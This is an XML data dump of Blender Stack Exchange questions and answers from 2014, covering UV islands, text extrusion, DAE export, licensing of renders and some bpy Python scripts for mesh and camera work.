  <row Id="12320" PostTypeId="1" CreationDate="2014-06-18T13:42:28.563" Score="2" ViewCount="881" Body="&lt;p&gt;Is it possible to auto-rotate UV Islands with Python? For example I selected all islands and want to rotate them according to their width and length. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;get all selected islands.&lt;/li&gt;&#xA;&lt;li&gt;get their width and height.&lt;/li&gt;&#xA;&lt;li&gt;rotate an island by 90 degrees.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Explanation: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PXada.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do it with python? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="1170" LastEditDate="2014-06-18T17:28:08.993" LastActivityDate="2014-06-21T18:49:24.400" Title="Is it possible to auto-rotate UV Islands?" Tags="&lt;python&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12321" PostTypeId="2" ParentId="10913" CreationDate="2014-06-18T14:14:49.880" Score="0" Body="&lt;p&gt;I can't tell you how to solve your problem but I think I can tell you about the &lt;em&gt;helper&lt;/em&gt; bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long time ago I implemented a bvh importer for another software (not blender), to get it working with the rotations given in the bvh file I had to add an &lt;em&gt;helper&lt;/em&gt; bone for each existing bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A zero length bone (no influence to the mesh) placed at the origin of the original bone, and obviously the original bone must be parented with the helper (original child, helper parent), all the rotations are applied to the helper only.&lt;/p&gt;&#xA;" OwnerUserId="1155" LastActivityDate="2014-06-18T14:14:49.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12322" PostTypeId="2" ParentId="12317" CreationDate="2014-06-18T14:38:18.247" Score="2" Body="&lt;p&gt;I noticed that the loom - tastic text wasn't rendering. this was due to the fact that the wrong layer was selected in the test scene:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0oi2I.png&quot; alt=&quot;Notes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the selected box to the one the green arrow is pointing at, and your problem will be fixed&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-06-18T14:38:18.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12323" PostTypeId="1" AcceptedAnswerId="12326" CreationDate="2014-06-18T15:02:07.697" Score="2" ViewCount="273" Body="&lt;p&gt;I want to extrude text getting smaller in the distance.  How to do this ?  Extrude text property does not seem to permit getting the text smaller.&lt;/p&gt;&#xA;" OwnerUserId="4878" LastActivityDate="2014-06-19T01:37:20.647" Title="Text getting progressively smaller in the distance" Tags="&lt;editing&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12324" PostTypeId="2" ParentId="12314" CreationDate="2014-06-18T15:08:44.630" Score="6" Body="&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Matrix&#xA;&#xA;def turn_face_to_point(obj, face, target):&#xA;    #init&#xA;    mat_world = obj.matrix_world&#xA;&#xA;    #transform the face to world space&#xA;    #to take non-uniform scaling into account&#xA;    #which may change the angle of face.normal&#xA;    for index in face.vertices:&#xA;        vert = obj.data.vertices[index]&#xA;        vert.co = mat_world @ vert.co&#xA;&#xA;    #get the rotation difference&#xA;    track  = empty.location - face.center&#xA;    q = face.normal.rotation_difference(track)&#xA;&#xA;    #compose the matrix&#xA;    #rotation around face.center in world space &#xA;    mat = Matrix.Translation( face.center) @ \&#xA;          q.to_matrix().to_4x4() @ \&#xA;          Matrix.Translation(-face.center)&#xA;    #transform the face back to object space afterwards      &#xA;    mat_obj = mat_world.inverted() @ mat&#xA;&#xA;    #apply the matrix to the vertices of the face&#xA;    for index in face.vertices:&#xA;        vert = obj.data.vertices[index]&#xA;        vert.co = mat_obj @ vert.co&#xA;&#xA;#test        &#xA;obj   = bpy.data.objects['Plane']&#xA;empty = bpy.data.objects['Empty']&#xA;face  = obj.data.polygons[0] &#xA;&#xA;turn_face_to_point(obj, face, empty.location)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="76629" LastEditDate="2021-05-21T23:16:24.587" LastActivityDate="2021-05-21T23:16:24.587" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="12325" PostTypeId="2" ParentId="12315" CreationDate="2014-06-18T15:10:17.990" Score="4" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vxyFj.png&quot; alt=&quot;sss bluish band artifact&quot;&gt;&#xA;                              Note about scatter radius in Cycles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of the way this scattering is calculated, when using large radius values, you will notice fringing artifacts that appear as the complementary color to the predominant color of the scattering. Above, you see in the last image a bluish band in the illuminated area. This is an unfortunate limitation. A way to lessen this effect is use multiple passes with different scatter radii, and average them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for more info: visit:&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Properties/Subsurface_Scattering&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Properties/Subsurface_Scattering&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of multiple passes:Brecht's Six Layers SSS&#xA;&lt;img src=&quot;https://i.stack.imgur.com/B1c68.png&quot; alt=&quot;Six Layer SSS&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ly54p.jpg&quot; alt=&quot;Six Layer Shader&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GjzsT.jpg&quot; alt=&quot;Six Layer SSS Shader Group Values&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the default SSS shader node to generate it's correct effect,set the radius RGB levels to low values to get a accurate results,&lt;em&gt;EDIT&lt;/em&gt;it seems that the scale to ratio is off,the formula should look like this s1.00 = bu1.00,but it's more like s1.00 = bu100.00 or s.100 = bu1.00,just try it with a low level of scale .100 and left the radius level at R1.00G.500B.250 and it gave the same exact results as leaving the scale at 1.00,but lowering the Radius RGB values R.100G.050B.025,no more blueish tint:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scale value:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;scale = 1.00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Radius Values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Red(R) = .100&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Green(G) = .050&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blue(B) = .025&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UsS29.jpg&quot; alt=&quot;low radius sss value&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iuIKU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scale value:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;scale = .100&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Radius Values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Red(R) = 1.00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Green(G) = .500&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blue(B) = .250&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F5UFT.jpg&quot; alt=&quot;scale of 1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s1GDB.jpg&quot; alt=&quot;scale 1 close&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3339" LastEditorUserId="3339" LastEditDate="2014-06-20T01:20:59.343" LastActivityDate="2014-06-20T01:20:59.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12326" PostTypeId="2" ParentId="12323" CreationDate="2014-06-18T15:17:05.830" Score="2" Body="&lt;p&gt;To edit the text this way you would need to convert it to a mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;em&gt;Object Mode&lt;/em&gt; press &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;C&lt;/kbd&gt; this brings up the convert popup, select &lt;em&gt;Mesh from Curve/Meta/Surf/Text&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having the text object converted change to &lt;em&gt;Edit Mode&lt;/em&gt; and extrude it manually &lt;kbd&gt;E&lt;/kbd&gt; and scale &lt;kbd&gt;S&lt;/kbd&gt; as you want.  &lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-06-18T15:22:09.900" LastActivityDate="2014-06-18T15:22:09.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12328" PostTypeId="1" AcceptedAnswerId="13423" CreationDate="2014-06-18T15:50:00.170" Score="3" ViewCount="477" Body="&lt;p&gt;I have a text on 3D curve (using modifier). When I render the image, there are some unwanted lines on text.&#xA;I have found a solution for this: &lt;a href=&quot;http://vimeo.com/19894131&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://vimeo.com/19894131&lt;/a&gt; -&gt; converting text to mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know, if any other method exists where I don not have to convent the text, because this way I lose the opportunity of further editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wgS7H.png&quot; alt=&quot;error on text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File available &lt;a href=&quot;http://www.4shared.com/file/u1x4Rmpcba/ferde.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://www.pasteall.org/blend/29970&quot; rel=&quot;nofollow noreferrer&quot;&gt;here (PasteAll mirror)&lt;/a&gt;. I'm using Cycles render engine.&lt;/p&gt;&#xA;" OwnerUserId="4879" LastEditorUserId="4879" LastEditDate="2014-06-23T09:01:18.427" LastActivityDate="2015-02-22T22:26:11.110" Title="text on 3d curve" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;&lt;text-object&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12331" PostTypeId="1" AcceptedAnswerId="12332" CreationDate="2014-06-18T19:13:09.227" Score="11" ViewCount="6071" Body="&lt;p&gt;If I make a scene and then render it with BR or Cycles, am I allowed to use that image in a commercial project? Do I need to include any copyright notice or license?&lt;/p&gt;&#xA;" OwnerUserId="4880" LastActivityDate="2020-07-24T12:14:23.010" Title="Can I use images rendered with blender for commercial use?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12332" PostTypeId="2" ParentId="12331" CreationDate="2014-06-18T19:19:51.663" Score="18" Body="&lt;p&gt;Short answer &lt;strong&gt;Yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Just as you own what you draw with a pencil, you own works you make with Blender&lt;br&gt;&lt;em&gt;(no difference)&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;To quote from &lt;a href=&quot;http://www.blender.org/about/license/&quot; rel=&quot;noreferrer&quot;&gt;blender.org&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Your artwork&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;What you create with Blender is your sole property. All your artwork – images or movie files – including the .blend files and other data files Blender can write, is free for you to use as you like.&lt;/p&gt;&#xA;&lt;p&gt;That means that Blender can be used commercially by artists, by studios to make animation films or vfx, by game artists to work on commercial games, by scientists for research, and by students in educational institutions.&lt;/p&gt;&#xA;&lt;p&gt;Blender’s GNU GPL license guarantees you this freedom. Nobody is ever permitted to take it away, in contrast to trial or “educational” versions of commercial software that will forbid your work in commercial situations.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Meaning anything you make in Blender (images, scripts, add-ons, models, entire scenes, materials, textures, and so on) is yours, and you can do anything with it, without any legal notices at all.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;em&gt;A general note about Open-Source, not specific to Blender.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;You don't have to get into details of each license.&lt;/p&gt;&#xA;&lt;p&gt;Any OSI approved License assured you can do what you like with works created from OpenSource software. This is part of the Open-Source, definition as defined by the OSI,&#xA;&lt;a href=&quot;http://opensource.org/osd&quot; rel=&quot;noreferrer&quot;&gt;http://opensource.org/osd&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Points 5 and 6.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;No Discrimination Against Persons or Groups&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The license must not discriminate against any person or group of persons.&lt;/p&gt;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;No Discrimination Against Fields of Endeavor&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The license must not restrict anyone from making use of the program in a specific field of endeavor. For example, it may not restrict the program from being used in a business, or from being used for genetic research.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-10-19T06:12:56.757" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="12334" PostTypeId="2" ParentId="6972" CreationDate="2014-06-18T19:20:50.007" Score="1" Body="&lt;p&gt;If you have a voxel representation, you can use some implementation of &lt;a href=&quot;http://en.wikipedia.org/wiki/Marching_cubes&quot; rel=&quot;nofollow&quot;&gt;Marching Cubes&lt;/a&gt; to create a mesh from the voxels. It is possible to import a stack of images as a 'voxel stack' in &lt;a href=&quot;http://fiji.sc/Fiji&quot; rel=&quot;nofollow&quot;&gt;Fiji&lt;/a&gt; which uses ImageJ. &lt;/p&gt;&#xA;" OwnerUserId="4881" LastActivityDate="2014-06-18T19:20:50.007" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12335" PostTypeId="2" ParentId="12318" CreationDate="2014-06-18T20:12:34.797" Score="6" Body="&lt;p&gt;The following script calculates the clip start, end and dof distance locations and visualizes them in the viewport (like the &lt;em&gt;Limits&lt;/em&gt; option for cameras), the rotation mode does not matter: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bgl&#xA;from mathutils import Vector&#xA;from mathutils.geometry import intersect_point_line&#xA;&#xA;def is_camera(ob):&#xA;    return ob is not None and ob.type == 'CAMERA'&#xA;&#xA;def draw_callback_px(self, context):&#xA;&#xA;    sce = context.scene&#xA;&#xA;    if is_camera(context.object):&#xA;        cam_ob = context.object&#xA;    elif is_camera(sce.camera):&#xA;        cam_ob = sce.camera&#xA;    else:&#xA;        return&#xA;&#xA;    mat = cam_ob.matrix_world&#xA;    cam = cam_ob.data&#xA;    start = mat * Vector((0, 0, -cam.clip_start))&#xA;    end = mat * Vector((0, 0, -cam.clip_end))&#xA;    if cam.dof_object is None:&#xA;        dof_loc = mat * Vector((0, 0, -cam.dof_distance))&#xA;    else:&#xA;        pt = cam.dof_object.matrix_world.translation&#xA;        line_p1 = mat.translation&#xA;        line_p2 = mat * Vector((0, 0, -1))&#xA;        loc = intersect_point_line(pt, line_p1, line_p2)&#xA;        dof_loc = loc[0]&#xA;&#xA;    # 80% alpha, 2 pixel width line&#xA;    bgl.glEnable(bgl.GL_BLEND)&#xA;    bgl.glLineWidth(2)&#xA;&#xA;    #sce.cursor_location = dof_loc&#xA;&#xA;    def line(color, start, end):&#xA;        bgl.glColor4f(*color)&#xA;        bgl.glBegin(bgl.GL_LINES)&#xA;        bgl.glVertex3f(*start)&#xA;        bgl.glVertex3f(*end)&#xA;        bgl.glEnd()&#xA;&#xA;    line((1.0, 0.0, 0.0, 0.8), start, dof_loc)&#xA;    line((0.0, 0.0, 1.0, 0.8), dof_loc, end)        &#xA;&#xA;    # restore opengl defaults&#xA;    bgl.glLineWidth(1)&#xA;    bgl.glDisable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&#xA;&#xA;class ModalDrawOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Draw a line with the mouse&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.modal_operator&quot;&#xA;    bl_label = &quot;Simple Modal View3D Operator&quot;&#xA;&#xA;    def modal(self, context, event):&#xA;        context.area.tag_redraw()&#xA;&#xA;        if event.type == 'ESC':&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        if context.area.type == 'VIEW_3D':&#xA;            # the arguments we pass the the callback&#xA;            args = (self, context)&#xA;            # Add the region OpenGL drawing callback&#xA;            # draw in view space with 'POST_VIEW' and 'PRE_VIEW'&#xA;            self._handle = bpy.types.SpaceView3D.draw_handler_add(draw_callback_px, args, 'WINDOW', 'POST_VIEW')&#xA;&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &quot;View3D not found, cannot run operator&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalDrawOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalDrawOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        bpy.ops.view3d.modal_operator({'area': area}, 'INVOKE_DEFAULT')&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-06-18T20:12:34.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12336" PostTypeId="2" ParentId="12130" CreationDate="2014-06-18T23:26:34.110" Score="2" Body="&lt;p&gt;I figured the problem out. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to Materials for any of your objects in blender game engine&lt;/li&gt;&#xA;&lt;li&gt;Select an image or any kind of texture you like&lt;/li&gt;&#xA;&lt;li&gt;In game engine scroll down until you see bake drop down menu. Click the Bake drop down menu and leave everything as is unless you know what you are doing. I left my bake mode as full render and then I click bake button. You may or may not get an error but the error for some reason is wrong and your textures do end up getting baked so this must be a bake problem.&lt;/li&gt;&#xA;&lt;li&gt;Then click Standalone player drop down menu and click star and boom you now see your textures!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Image of my game and texture below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bdW0A.jpg&quot; alt=&quot;Blender Game Engine; Playing my blender game.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't finished my texture for my game yet but this how I got my textures to appear finally. I wonder why when you press p you don't see any of your textures but as a standalone game you can, just odd :/.&lt;/p&gt;&#xA;" OwnerUserId="3477" LastActivityDate="2014-06-18T23:26:34.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12337" PostTypeId="2" ParentId="3120" CreationDate="2014-06-18T23:47:47.453" Score="0" Body="&lt;p&gt;I discovered that the fastest way to render may be to simply disable the preview, by using the &quot;Keep UI&quot; option for display parameter, or even to render using the command line. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, when you render into the image editor, histograms and curves updates use  some CPU, each time a tile is updated. &#xA;It's more obvious when you render a big image (4096x4096) and try to show / hide the &quot;tool shelf&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if the same tile takes a long time to render, blender performs several times the color conversion from float point value layers to 24 bits RGB screen space (the color management), each time it's updated in the image editor.  &lt;/p&gt;&#xA;" OwnerUserId="4885" LastEditorUserId="4885" LastEditDate="2014-06-18T23:53:00.867" LastActivityDate="2014-06-18T23:53:00.867" CommentCount="4" CommunityOwnedDate="2014-06-18T23:47:47.453" ContentLicense="CC BY-SA 3.0" />
  <row Id="12338" PostTypeId="1" AcceptedAnswerId="14205" CreationDate="2014-06-19T00:11:27.920" Score="0" ViewCount="1045" Body="&lt;p&gt;I have a simple character (below) that is in the middle of an animation that does not work with my logic bricks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BVESA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BVESAm.png&quot; alt=&quot;Character in middle of animation&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my logic bricks. Sorry, may be hard to read (click on the image for a bigger version).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RiY1v.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RiY1v.png&quot; alt=&quot;Logic Bricks&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It states that when the property &lt;em&gt;inMovement&lt;/em&gt; is set to 1, it will play a walk animation, and, on the other hand, it will not when it is set to 0. I thought that the problem would be with the parenting, but it all looked fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OLMwq.png&quot; alt=&quot;Outliner&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this I thought that the animation just didn't work, but it did. This is the animation of my blocky character picture at top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jEvlx.png&quot; alt=&quot;Animations&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything I stated here is true, and I did not lie and/or take pictures at different times. All the screenshots were taken at one point in time, and no editing was done between them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get the animations to play (&lt;em&gt;Loop Stop&lt;/em&gt;) based on whether the value is set to 1 or 0?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="2217" LastEditDate="2014-07-29T14:06:49.510" LastActivityDate="2014-07-29T14:06:49.510" Title="Animations not working in the BGE?" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12339" PostTypeId="2" ParentId="12323" CreationDate="2014-06-19T01:37:20.647" Score="1" Body="&lt;p&gt;If you use a &lt;em&gt;Solidify&lt;/em&gt; modifier instead of the extrude setting for the text object, then you can have text that is thinner father away (that tapers).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add the &lt;em&gt;Solidify&lt;/em&gt; modifier to the text object.&lt;/li&gt;&#xA;&lt;li&gt;Add a Lattice object around the text (scale it in object mode to fit the text)&lt;/li&gt;&#xA;&lt;li&gt;After the Solidify modifier add a &lt;em&gt;Lattice&lt;/em&gt; modifier to the text and put in the name of the new lattice.&lt;/li&gt;&#xA;&lt;li&gt;in edit mode, edit the lattice so the text tapers the way you want.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-06-19T01:37:20.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12340" PostTypeId="1" AcceptedAnswerId="12341" CreationDate="2014-06-19T02:57:35.910" Score="4" ViewCount="31980" Body="&lt;p&gt;I'm having trouble in converting OBJ to DAE while retaining textures or at least the colours of the model. Note, this is a voxel model so I only need colours, not detailed textures.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I model within MagicaVoxel, then export to .obj, from there I import to Blender. In the scene editor, the model is white. That's ok, if I do a render I see the colours fine. But I need the format in .dae.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within Blender, I export to .dae but I lose the colours that were packaged with the .obj file.&#xA;How do I keep the textures with the .dae file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried MeshLab with no results.&lt;/p&gt;&#xA;" OwnerUserId="4886" LastEditorUserId="599" LastEditDate="2014-06-19T06:57:53.927" LastActivityDate="2020-07-13T08:36:15.617" Title="Export to DAE with textures?" Tags="&lt;texturing&gt;&lt;export&gt;&lt;collada&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12341" PostTypeId="2" ParentId="12340" CreationDate="2014-06-19T04:59:22.980" Score="8" Body="&lt;p&gt;When you are exporting to DAE make sure that you export the Material textures, because the texture coordinates are exported correctly but the material doesn't get bound to the texture correctly (and there's no color in the obj, MagicaVoxel uses a palette texture and so it encodes the color in the x component of the UV coordinates).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EFz7R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1240" LastActivityDate="2014-06-19T04:59:22.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12342" PostTypeId="1" AcceptedAnswerId="29182" CreationDate="2014-06-19T05:53:25.593" Score="3" ViewCount="1498" Body="&lt;p&gt;I'm new to Blender, so I feel I must be missing something. I'm modelling something that's bound for a 3D printer and I need to cut some specifically shaped (and spaced) holes in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried knife, knife project, bisect, and boolean modifiers, all with limited success. Knife (and knife project) were particularly infuriating, as they worked great on the &lt;em&gt;outside&lt;/em&gt; of the object, but when I needed to cut the holes on the interior they failed miserably. It seemed my only options were to cut nothing or all the way through from the current view. I finally got the surface I want, but only after hacking the faces to death with the knife and merging edge loops a couple of times. It left the mesh rather a mess...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any better way to do this? What about cleaning up the mesh a little?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Desired result finally:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/02yCf3K.png&quot; alt=&quot;smooth, clean looking cuts&quot;&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/Cgy7KZW.png&quot; alt=&quot;alternate view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ugly, underlying topology:&#xA;&lt;img src=&quot;https://i.imgur.com/1MBfAtW.png&quot; alt=&quot;ugly topology&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4888" LastActivityDate="2017-03-22T15:07:49.590" Title="Is there an easier way to cut specifically shaped holes in moderately complex objects (particularly from inside them)?" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12344" PostTypeId="1" AcceptedAnswerId="12345" CreationDate="2014-06-19T06:41:10.157" Score="2" ViewCount="871" Body="&lt;p&gt;I have copied the default cube with the array modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can rotate my camera around the center of the cubes by pressing &quot;shift + c&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set the pivot to the center of the cubes? I could do it by setting the 3D cursor in the center and then set origin to 3D curser, but how do I get the 3D cursor in the center? Do I have to calculate the position by hand and set the coordinated componentwise, or is there also a shortcut?&lt;/p&gt;&#xA;" OwnerUserId="4889" LastEditorUserId="4889" LastEditDate="2014-06-19T07:11:04.220" LastActivityDate="2014-06-19T07:11:04.220" Title="How to move pivot to center of an array object?" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
